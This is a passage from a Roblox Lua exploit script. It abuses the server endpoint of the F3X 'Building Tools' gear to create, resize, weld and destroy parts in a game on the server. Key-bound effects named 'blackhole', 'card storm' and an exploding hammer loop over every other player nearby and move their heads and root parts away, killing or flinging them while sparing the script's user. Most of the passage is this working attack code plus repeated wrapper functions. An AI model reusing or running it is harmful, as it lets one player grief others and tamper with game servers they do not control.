						Rename(partd2, "Blackhole")

						local bh = workspace:WaitForChild("Blackhole")

						CanCollide(bh,false)

						ChangeColor(bh,true,Color3.new(0, 0, 0))

						ChangeNeon(bh)
						CreateShimmer(workspace:FindFirstChild("Blackhole"));
						CreatePart(workspace:FindFirstChild("Blackhole").CFrame, workspace);
						local partdd2 = GetNearestPart()
						Rename(partdd2, "Slam")
						local slem = workspace:WaitForChild("Slam")
						CreateMesh(slem,"rbxassetid://20329976");
						ChangeTransparency(slem,1)

						local degreez = 0
						local vectorx = 1;
						local vectory = 1;
						local vectorz = 1;

						local incsize = 3;

						local transparency = 0;

						local impact = true;
						local mouse = LocalPlayer:GetMouse()


						local truepos = mouse.hit.p.X
						local truepos2 = mouse.hit.p.Z
						MovePart(card, CFrame.new(truepos,card.CFrame.Y,truepos2))
						MovePart(bh, card.CFrame)

						WeldTo(bh,card)

						local run
						run = game:GetService("RunService").Heartbeat:Connect(function()
							if stop == true then
								run:Disconnect()
								return
							else
								task.wait(0.3)
								Rotate(card,card.CFrame.X,card.CFrame.Y,card.CFrame.Z,0,math.rad(degreez),0)

								ChangeMeshSize(card,Vector3.new(vectorx, vectory, vectorz));
								ChangeTransparency(bh,transparency);

								ResizeObject(bh, bh.CFrame, Vector3.new(incsize, incsize, incsize))

								transparency = transparency + 0.01
								vectory = vectory + 5
								vectorx = vectorx + 20
								vectorz = vectorz + 20
								degreez = degreez + 100
								incsize = incsize + 0.1

								if impact == true then
									for i,v in game.Players:GetPlayers() do
										local chark = v.Character
										if chark then
											local head = chark:FindFirstChild("Head")
											local hrp = chark:FindFirstChild("HumanoidRootPart")
											if head and hrp then
												local distance = (card.Position - hrp.Position).Magnitude
												if distance < 100 then
													if v.Name == game.Players.LocalPlayer.Name then
														--whitelisted
													else
														MovePart(hrp,bh.CFrame);
														MovePart(head,bh.CFrame);
														impact = false
													end
												end
											end
										end
									end
								end

								if transparency > 0.8 then
									if workspace:FindFirstChild("Blackhole") then

										run:Disconnect()

										local slam = workspace:FindFirstChild("Slam")
										MovePart(slam,workspace:FindFirstChild("Blackhole").CFrame);

										DestroyObject(workspace:FindFirstChild("Blackhole"));
										DestroyObject(card);

										ChangeTransparency(slam,1)

										CanCollide(slam,false)

										--CreateMesh(slam,"rbxassetid://20329976");
										ChangeColor(slam,true,Color3.new(0, 0, 0))

										local degreezz = 0
										local vectorxx = 10;
										local vectoryy = 2;
										local vectorzz = 10;

										local incsize = 3;

										local transparencyy = 0;

										local run2
										run2 = game:GetService("RunService").Heartbeat:Connect(function()
											if stop == true then
												run2:Disconnect()
												return
											else
												task.wait(0.01)

												impact = true

												Rotate(slam,slam.CFrame.X,slam.CFrame.Y,slam.CFrame.Z,0,math.rad(degreezz),0)

												ChangeMeshSize(slam,Vector3.new(vectorxx, vectoryy, vectorzz));
												ChangeTransparency(slam,transparencyy);

												transparencyy = transparencyy + 0.1
												vectoryy = vectoryy + 1
												vectorxx = vectorxx + 10
												vectorzz = vectorzz + 10

												degreezz = degreezz + 5

												if impact == true then
													for i,v in game.Players:GetPlayers() do
														local chark = v.Character
														if chark then
															local head = chark:FindFirstChild("Head")
															local hrp = chark:FindFirstChild("HumanoidRootPart")
															if head and hrp then
																local distance = (slam.Position - hrp.Position).Magnitude
																if distance < 200 then
																	if v.Name == game.Players.LocalPlayer.Name then
																		--whitelisted
																	else
																		MovePart(head,CFrame.new(math.random(-100,100),math.random(10,100),math.random(-100,100)))
																		impact = false
																	end
																end
															end
														end
													end
												end
												if transparencyy > 0.5 then
													if workspace:FindFirstChild("Slam") then
														stop = true;
														run2:Disconnect()
														run:Disconnect()
														DestroyObject(slam);
														return
													end
												end
											end
										end)
									end
								end
							end
						end)
					end
				end)

			end


			local function CreateCardStorm()
				char.HumanoidRootPart.Anchored = true;
				CreateShimmer(char.Head)
				CreatePart(char.Head.CFrame, workspace);

				local partd = GetNearestPart()

				Rename(partd, "Storm")

				local card = workspace:WaitForChild("Storm")

				CreateMesh(card,"rbxassetid://6512150")
				ChangeMeshTexture(card,"rbxassetid://55364685")
				ChangeMeshSize(card,Vector3.new(5,5,5))
				CanCollide(card,false)

				----create first slam effect----
				CreatePart(card.CFrame, workspace);
				local partd2 = GetNearestPart()
				Rename(partd2, "Slam")
				local slamm = workspace:WaitForChild("Slam")

				CanCollide(slamm,false)

				CreateMesh(slamm,"rbxassetid://20329976");
				ChangeColor(slamm,true,Color3.new(0.631373, 0.631373, 0.631373))

				----create second---------------

				CreatePart(card.CFrame, workspace);
				local partd3 = GetNearestPart()
				Rename(partd3, "Slam2")
				local slamm2 = workspace:WaitForChild("Slam2")

				CanCollide(slamm2,false)

				CreateMesh(slamm2,"rbxassetid://20329976");
				ChangeColor(slamm2,true,Color3.new(0.631373, 0.631373, 0.631373))


				local humanoidRootPart = char:FindFirstChild("HumanoidRootPart")
				local runService = game:GetService("RunService")
				local userInputService = game:GetService("UserInputService")

				local savedLookVector = nil
				local slamming = false

				local function updateCardRotation()
					if not slamming then
						local headCFrame = char.Head.CFrame
						local lookVector = headCFrame.LookVector
						local rightVector = headCFrame.RightVector
						local forwardVector = Vector3.new(lookVector.X, 0, lookVector.Z).Unit
						local anglesX, anglesY, anglesZ = 0, math.atan2(forwardVector.X, forwardVector.Z), 0
						Rotate(card, headCFrame.Position.X, headCFrame.Position.Y + 18, headCFrame.Position.Z, anglesX, anglesY, anglesZ)
					end
				end

				local headCFrame = char.Head.CFrame
				local lookVector = headCFrame.LookVector
				local rightVector = headCFrame.RightVector
				local forwardVector = Vector3.new(lookVector.X, 0, lookVector.Z).Unit
				savedLookVector = forwardVector
				slamming = true
				local slamPosition = headCFrame.Position + forwardVector * 10
				local anglesX, anglesY, anglesZ = math.pi / 2, 0, math.atan2(forwardVector.X, forwardVector.Z)
				--Rotate(card, slamPosition.X, slamPosition.Y - 4.5, slamPosition.Z, anglesX, anglesY, anglesZ)
				task.wait(0.01)

				local slam = workspace:WaitForChild("Slam")
				local slam2 = workspace:WaitForChild("Slam2")

				MovePart(slam,card.CFrame);
				MovePart(slam2,card.CFrame);

				ChangeTransparency(slam,0);
				ChangeTransparency(slam2,0);

				local degreez = 0
				local vectorx = 30;
				local vectory = 10;
				local vectorz = 30;

				local vectorx2 = 50;
				local vectory2 = 10;
				local vectorz2 = 50;

				local rotationvector = 0;

				local transparency = 0;

				local impact = true;

				local run
				run = game:GetService("RunService").Heartbeat:Connect(function()
					task.wait(0.1)

					Rotate(card,card.CFrame.X,card.CFrame.Y,card.CFrame.Z,0,math.rad(rotationvector),0)
					Rotate(slam,slam.CFrame.X,slam.CFrame.Y,slam.CFrame.Z,0,math.rad(degreez),0)
					Rotate(slam2,slam2.CFrame.X,slam2.CFrame.Y,slam2.CFrame.Z,0,math.rad(degreez),0)

					ChangeMeshSize(slam,Vector3.new(vectorx, vectory, vectorz));
					ChangeMeshSize(slam2,Vector3.new(vectorx2, vectory2, vectorz2));
					ChangeTransparency(slam,transparency);
					ChangeTransparency(slam2,transparency);

					transparency = transparency + 0.005
					degreez = degreez + 5

					if vectorx < 100 then
						vectory = vectory + 0.1
						vectorx = vectorx + 10
						vectorz = vectorz + 10

						vectory2 = vectory2 + 0.5
						vectorx2 = vectorx2 + 5
						vectorz2 = vectorz2 + 5
					else
						vectory = vectory - 0.1
						vectorx = vectorx - 5
						vectorz = vectorz - 5

						vectory2 = vectory2 - 0.1
						vectorx2 = vectorx2 - 10
						vectorz2 = vectorz2 - 10
					end

					rotationvector = rotationvector + 100

					if impact == true then
						for i,v in game.Players:GetPlayers() do
							local chark = v.Character
							if chark then
								local head = chark:FindFirstChild("Head")
								local hrp = chark:FindFirstChild("HumanoidRootPart")
								if head and hrp then
									local distance = (slam.Position - hrp.Position).Magnitude
									if distance < 100 then
										if v.Name == game.Players.LocalPlayer.Name then
											--whitelisted
										else
											MovePart(head,CFrame.new(math.random(-100,100),math.random(10,100),math.random(-100,100)))
											impact = false
										end
									end
								end
							end
						end
					end

					if transparency > 1 then
						if workspace:FindFirstChild("Slam") and workspace:FindFirstChild("Slam2") then
							DestroyObject(workspace:FindFirstChild("Slam"));
							DestroyObject(workspace:FindFirstChild("Slam2"))
							DestroyObject(card);
							char.HumanoidRootPart.Anchored = false;
							run:Disconnect()
						end
					end
				end)
			end



			UIS.InputBegan:connect(function(input, gameprocess)
				if input.KeyCode == Enum.KeyCode.C then
					if (not gameprocess) then
						CreateSlamCard()
					end
				end
			end)


			UIS.InputBegan:connect(function(input, gameprocess)
				if input.KeyCode == Enum.KeyCode.V then
					if (not gameprocess) then
						CreateBlackholeCard()
					end
				end
			end)

			UIS.InputBegan:connect(function(input, gameprocess)
				if input.KeyCode == Enum.KeyCode.B then
					if (not gameprocess) then
						CreateCardStorm()
					end
				end
			end)
		end

		local function dodynr6()
			local Players = game:GetService("Players")
			local LocalPlayer = Players.LocalPlayer
			local char = LocalPlayer.Character
			local Event = LocalPlayer.Backpack:FindFirstChild("Building Tools").SyncAPI.ServerEndpoint
			local UIS = game:GetService("UserInputService")

			local function CreatePart(position,parent)
				Event:InvokeServer("CreatePart", "Normal", position, parent)
			end

			--workspace.Part
			local function CreateMesh(part,meshid)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["MeshType"] = Enum.MeshType.FileMesh,
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = meshid
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function CanCollide(part,cancollide)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = cancollide
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function Anchor(part,anchor)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = anchor
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function Rotate(part,degreex,degreey,degreez,anglesx,anglesy,anglesz)
				local args = {
					[1] = "SyncRotate",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = CFrame.new(degreex, degreey, degreez) * CFrame.Angles(anglesx, anglesy,anglesz)
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeMeshSize(part,vector3size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = vector3size
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeTransparency(part,transparency)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = transparency
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function WeldTo(parttoweld,parttoweldto)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = parttoweld
					},
					[3] = parttoweldto
				}

				Event:InvokeServer(unpack(args))

			end

			local function BreakWeld(weldtobreak)
				local args = {
					[1] = "RemoveWelds",
					[2] = {weldtobreak}
				}

				Event:InvokeServer(unpack(args))

			end

			local function MovePart(part,cframe)
				local args = {
					[1] = "SyncRotate",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cframe
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function CreateFire(part)
				local args = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Fire"
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeMeshTexture(part,textureid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = textureid
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeColor(part,unioncoloringenabled,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Color"] = color,
							["UnionColoring"] = unioncoloringenabled,
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function Rename(part,name)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = name
				}

				Event:InvokeServer(unpack(args))

			end

			local function DestroyObject(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function GetNearestPart()
				local nearestPart = nil
				local nearestDistance = math.huge
				local localPlayer = game.Players.LocalPlayer
				local localCharacter = localPlayer.Character
				local RightArm = localCharacter:FindFirstChild("Right Arm")

				if RightArm then
					for _, part in pairs(workspace:GetDescendants()) do
						if part:IsA("Part") and part.Name == "Part" then
							local distance = (RightArm.Position - part.Position).Magnitude
							if distance < nearestDistance then
								nearestDistance = distance
								nearestPart = part
							end
						end
					end
				end

				return nearestPart
			end


			local function createhammer(player)
				CreatePart(player.Character:FindFirstChild("Right Arm").CFrame,workspace);

				local partd = GetNearestPart();
				Rename(partd,"Gigachad")
				local part = workspace:WaitForChild("Gigachad")

				Rotate(part,part.CFrame.X,part.CFrame.Y,part.CFrame.Z,0,0,math.rad(90))

				WeldTo(part,player.Character:FindFirstChild("Right Arm"));

				CreateMesh(part,"rbxassetid://10172112489");
				ChangeMeshTexture(part,"rbxassetid://10172112542");
				ChangeMeshSize(part,Vector3.new(0.1,0.1,0.1));

				CanCollide(part,false);
				Anchor(part,false);

				CreatePart(part.CFrame,workspace);
				local partd2 = GetNearestPart();

				Rename(partd2,"Gigaboom");
				local part2 = workspace:WaitForChild("Gigaboom")
				ChangeTransparency(part2,1);

				CreateMesh(part2,"rbxassetid://6862105399");

				CanCollide(part2,false);

				local touched = false;

				local dropstate = false;

				UIS.InputBegan:Connect(function(input)

					if input.KeyCode == Enum.KeyCode.C then
						if dropstate == true then
							--do nothin
						else

							if player.Character:FindFirstChild("Right Arm").BTWeld then
								BreakWeld(player.Character:FindFirstChild("Right Arm").BTWeld);
							else
								BreakWeld(part.BTWeld);
							end

							MovePart(part,CFrame.new(part.CFrame.X,part.CFrame.Y,part.CFrame.Z+2))

							CanCollide(part,true);
							CreateFire(part);
							dropstate = true;
						end
					end
				end)

				part.Touched:Connect(function(toucher)
					if dropstate == true then
						if not touched then

							local stop = false;

							touched = true

							task.wait(2) --detonation secs

							MovePart(part2,part.CFrame)

							ChangeTransparency(part,1);
							DestroyObject(part);


							local degreez = 0
							local vectorx = 1;
							local vectory = 1;
							local vectorz = 1;

							local localsound = Instance.new("Sound",workspace);
							localsound.SoundId = "rbxassetid://2814355743"
							localsound.Volume = 10
							localsound:Play();

							local transparency = 0;

							local impact = true;
							ChangeTransparency(part2,0)
							local run
							run = game:GetService("RunService").Heartbeat:Connect(function()
								if stop == true then
									run:Disconnect();
								else

									Rotate(part2,part2.CFrame.X,part2.CFrame.Y,part2.CFrame.Z,0,math.rad(degreez),0)

									ChangeMeshSize(part2,Vector3.new(vectorx, vectory, vectorz));
									ChangeTransparency(part2,transparency);

									transparency = transparency + 0.03
									vectory = vectory + 10
									vectorx = vectorx + 0.5
									vectorz = vectorz + 0.5
									degreez = degreez + 10

									if impact == true then
										for i,v in game.Players:GetPlayers() do
											local chark = v.Character
											if chark then
												local head = chark:FindFirstChild("Head")
												local hrp = chark:FindFirstChild("HumanoidRootPart")
												if head and hrp then
													local distance = (part2.Position - hrp.Position).Magnitude
													if distance < 30 then
														if v.Name == game.Players.LocalPlayer.Name then
															--whitelisted
														else
															MovePart(head,CFrame.new(math.random(-100,100),math.random(10,100),math.random(-100,100)))
															impact = false
														end
													end
												end
											end
										end
									end

									if transparency > 1 then
										if workspace:FindFirstChild("Gigaboom") then
											DestroyObject(workspace:FindFirstChild("Gigaboom"));
											run:Disconnect();
											stop = true;
										end
									end
								end
							end)
						end
					end
				end)
			end

			createhammer(game.Players.LocalPlayer)
		end

		local function dovisr6()
			-------todo: cool effects
			local Players = game:GetService("Players")
			local LocalPlayer = Players.LocalPlayer
			local char = LocalPlayer.Character
			local Event = LocalPlayer.Backpack:FindFirstChild("Building Tools").SyncAPI.ServerEndpoint
			local UIS = game:GetService("UserInputService")

			local function CreatePart(position,parent)
				Event:InvokeServer("CreatePart", "Normal", position, parent)
			end

			local function CreateBall(position,parent)
				Event:InvokeServer("CreatePart", "Ball", position, parent)
			end

			local function CreateCylinder(position,parent)
				Event:InvokeServer("CreatePart", "Cylinder", position, parent)
			end

			--workspace.Part
			local function CreateMesh(part,meshid)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["MeshType"] = Enum.MeshType.FileMesh,
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = meshid
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function CanCollide(part,cancollide)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = cancollide
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function Anchor(part,anchor)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = anchor
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function Rotate(part,degreex,degreey,degreez,anglesx,anglesy,anglesz)
				local args = {
					[1] = "SyncRotate",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = CFrame.new(degreex, degreey, degreez) * CFrame.Angles(anglesx, anglesy,anglesz)
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeMeshSize(part,vector3size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = vector3size
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeTransparency(part,transparency)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = transparency
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function WeldTo(parttoweld,parttoweldto)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = parttoweld
					},
					[3] = parttoweldto
				}

				Event:InvokeServer(unpack(args))

			end

			local function BreakWeld(weldtobreak)
				local args = {
					[1] = "RemoveWelds",
					[2] = {weldtobreak}
				}

				Event:InvokeServer(unpack(args))

			end

			local function MovePart(part,cframe)
				local args = {
					[1] = "SyncRotate",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cframe
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function CreateFire(part)
				local args = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Fire"
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeMeshTexture(part,textureid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = textureid
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeColor(part,unioncoloringenabled,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Color"] = color,
							["UnionColoring"] = unioncoloringenabled,
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function Rename(part,name)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = name
				}

				Event:InvokeServer(unpack(args))

			end

			local function DestroyObject(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ResizeObject(part,cframe,vector3)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cframe,
							["Size"] = vector3
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeNeon(part)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Material"] = Enum.Material.Neon
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeDecal(part,face,textureid)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = face, -- Front, Top,  Bottom, Front, Back,  Left, Right
							["TextureType"] = "Decal"
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = face, -- Front, Top,  Bottom, Front, Back,  Left, Right
							["TextureType"] = "Decal",
							["Texture"] = textureid
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			-- Function to find the nearest player
			local function FindNearestPlayer(soldier)
				local nearestPlayer = nil
				local nearestDistance = math.huge

				for _, player in pairs(game.Players:GetPlayers()) do
					local character = player.Character
					if character then
						if character.HumanoidRootPart then
							local distance = (character.HumanoidRootPart.Position - soldier.Position).Magnitude
							if distance < nearestDistance then
								nearestDistance = distance
								nearestPlayer = player
							end
						end
					end
				end
				return nearestPlayer
			end

			local function GetNearestPart()
				local nearestPart = nil
				local nearestDistance = math.huge
				local localPlayer = game.Players.LocalPlayer
				local localCharacter = localPlayer.Character
				local RightArm = localCharacter:FindFirstChild("Right Arm")

				if RightArm then
					for _, part in pairs(workspace:GetDescendants()) do
						if part:IsA("Part") and part.Name == "Part" then
							local distance = (RightArm.Position - part.Position).Magnitude
							if distance < nearestDistance then
								nearestDistance = distance
								nearestPart = part
							end
						end
					end
				end

				return nearestPart
			end

			local function GetNearestPartTo(soldier)
				local nearestPart = nil
				local nearestDistance = math.huge
				local localPlayer = game.Players.LocalPlayer
				local localCharacter = localPlayer.Character
				local RightArm = localCharacter:FindFirstChild("Right Arm")

				if RightArm then
					for _, part in pairs(workspace:GetDescendants()) do
						if part:IsA("Part") and part.Name == "Part" then
							local distance = (soldier.Position - part.Position).Magnitude
							if distance < nearestDistance then
								nearestDistance = distance
								nearestPart = part
							end
						end
					end
				end

				return nearestPart
			end

			local function CreateVisualizer()
				---------------------VISUALIZER------------------------------------------
				CreatePart(char:FindFirstChild("HumanoidRootPart").CFrame, workspace);

				local partd = workspace:WaitForChild("Part")

				Rename(partd, "Visualizer");

				local part = workspace:FindFirstChild("Visualizer")

				CanCollide(part, false);
				Anchor(part, true);

				ResizeObject(part, part.CFrame, Vector3.new(5, 0.5, 5))

				ChangeColor(part,true,Color3.new(0.694118, 0, 0))

				ChangeNeon(part);


				local hrp = char:FindFirstChild("HumanoidRootPart")
				local rightarm = char:FindFirstChild("RightHand")


				local degreez = 0
				local vectorx = 1;
				local vectory = 1;
				local vectorz = 1;

				local incsize = 1;
				local incrementing = true;

				local sound = Instance.new("Sound", workspace)
				sound.SoundId = "rbxassetid://15689447272"
				sound.Volume = 10; -- Set volume to 0 to analyze the audio without playing it
				sound:Play()


				local humanoidRootPart = char:FindFirstChild("HumanoidRootPart")
				local head = char:FindFirstChild("Head")
				local runService = game:GetService("RunService")
				local userInputService = game:GetService("UserInputService")

				local savedLookVector = nil

				local stop = false


				local audioTime = 0
				local beatThreshold = 0.5 
				local beatDuration = 0.1 
				local lastBeatTime = 0

				local run
				run = game:GetService("RunService").Heartbeat:Connect(function()

					if stop == true then
						run:Disconnect()
					else
						task.wait(0.1)
						Rotate(part, humanoidRootPart.CFrame.X, humanoidRootPart.CFrame.Y-3, humanoidRootPart.CFrame.Z, 0, math.rad(degreez), 0)

						audioTime = sound.TimePosition

						local beatAmplitude = (math.sin(audioTime * 2) + 1) / 2 

						if beatAmplitude > beatThreshold then
							local incsize = beatAmplitude * 10 + 1
							ResizeObject(part, part.CFrame, Vector3.new(incsize, 0.5, incsize))
							lastBeatTime = audioTime
						else
							ResizeObject(part, part.CFrame, Vector3.new(1, 0.5, 1))
						end


						degreez = degreez + 10

					end
				end)

			end

			CreateVisualizer()
		end


		local function dosoldierr6()
			local Players = game:GetService("Players")
			local LocalPlayer = Players.LocalPlayer
			local char = LocalPlayer.Character
			local Event = LocalPlayer.Backpack:FindFirstChild("Building Tools").SyncAPI.ServerEndpoint
			local UIS = game:GetService("UserInputService")

			local function CreatePart(position,parent)
				Event:InvokeServer("CreatePart", "Normal", position, parent)
			end

			--workspace.Part
			local function CreateMesh(part,meshid)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["MeshType"] = Enum.MeshType.FileMesh,
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = meshid
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function CanCollide(part,cancollide)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = cancollide
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function Anchor(part,anchor)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = anchor
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function Rotate(part,degreex,degreey,degreez,anglesx,anglesy,anglesz)
				local args = {
					[1] = "SyncRotate",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = CFrame.new(degreex, degreey, degreez) * CFrame.Angles(anglesx, anglesy,anglesz)
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeMeshSize(part,vector3size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = vector3size
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeTransparency(part,transparency)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = transparency
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function WeldTo(parttoweld,parttoweldto)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = parttoweld
					},
					[3] = parttoweldto
				}

				Event:InvokeServer(unpack(args))

			end

			local function BreakWeld(weldtobreak)
				local args = {
					[1] = "RemoveWelds",
					[2] = {weldtobreak}
				}

				Event:InvokeServer(unpack(args))

			end

			local function MovePart(part,cframe)
				local args = {
					[1] = "SyncRotate",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cframe
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function CreateFire(part)
				local args = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Fire"
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeMeshTexture(part,textureid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = textureid
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeColor(part,unioncoloringenabled,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Color"] = color,
							["UnionColoring"] = unioncoloringenabled,
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function Rename(part,name)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = name
				}

				Event:InvokeServer(unpack(args))

			end

			local function DestroyObject(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ResizeObject(part,cframe,vector3)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cframe,
							["Size"] = vector3
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			-- Function to find the nearest player
			local function FindNearestPlayer(soldier)
				local nearestPlayer = nil
				local nearestDistance = math.huge

				for _, player in pairs(game.Players:GetPlayers()) do
					local character = player.Character
					if character then
						if character.HumanoidRootPart then
							local distance = (character.HumanoidRootPart.Position - soldier.Position).Magnitude
							if distance < nearestDistance then
								nearestDistance = distance
								nearestPlayer = player
							end
						end
					end
				end
				return nearestPlayer
			end

			local function GetNearestPart()
				local nearestPart = nil
				local nearestDistance = math.huge
				local localPlayer = game.Players.LocalPlayer
				local localCharacter = localPlayer.Character
				local RightArm = localCharacter:FindFirstChild("Right Arm")

				if RightArm then
					for _, part in pairs(workspace:GetDescendants()) do
						if part:IsA("Part") and part.Name == "Part" then
							local distance = (RightArm.Position - part.Position).Magnitude
							if distance < nearestDistance then
								nearestDistance = distance
								nearestPart = part
							end
						end
					end
				end

				return nearestPart
			end

			local function GetNearestPartTo(soldier)
				local nearestPart = nil
				local nearestDistance = math.huge
				local localPlayer = game.Players.LocalPlayer
				local localCharacter = localPlayer.Character
				local RightArm = localCharacter:FindFirstChild("Right Arm")

				if RightArm then
					for _, part in pairs(workspace:GetDescendants()) do
						if part:IsA("Part") and part.Name == "Part" then
							local distance = (soldier.Position - part.Position).Magnitude
							if distance < nearestDistance then
								nearestDistance = distance
								nearestPart = part
							end
						end
					end
				end

				return nearestPart
			end

			--local newpos = game.Players.LocalPlayer.Character:FindFirstChild("RightHand").CFrame.Z + 10
			--CreatePart(CFrame.new(game.Players.LocalPlayer.Character:FindFirstChild("RightHand").CFrame.X,game.Players.LocalPlayer.Character:FindFirstChild("RightHand").CFrame.Y,newpos),workspace)

			local function CreateSoldier()
				local newpos = game.Players.LocalPlayer.Character:FindFirstChild("Right Arm").CFrame.Z + 10
				CreatePart(CFrame.new(game.Players.LocalPlayer.Character:FindFirstChild("Right Arm").CFrame.X,game.Players.LocalPlayer.Character:FindFirstChild("Right Arm").CFrame.Y,newpos),workspace)

				local partd = GetNearestPart()

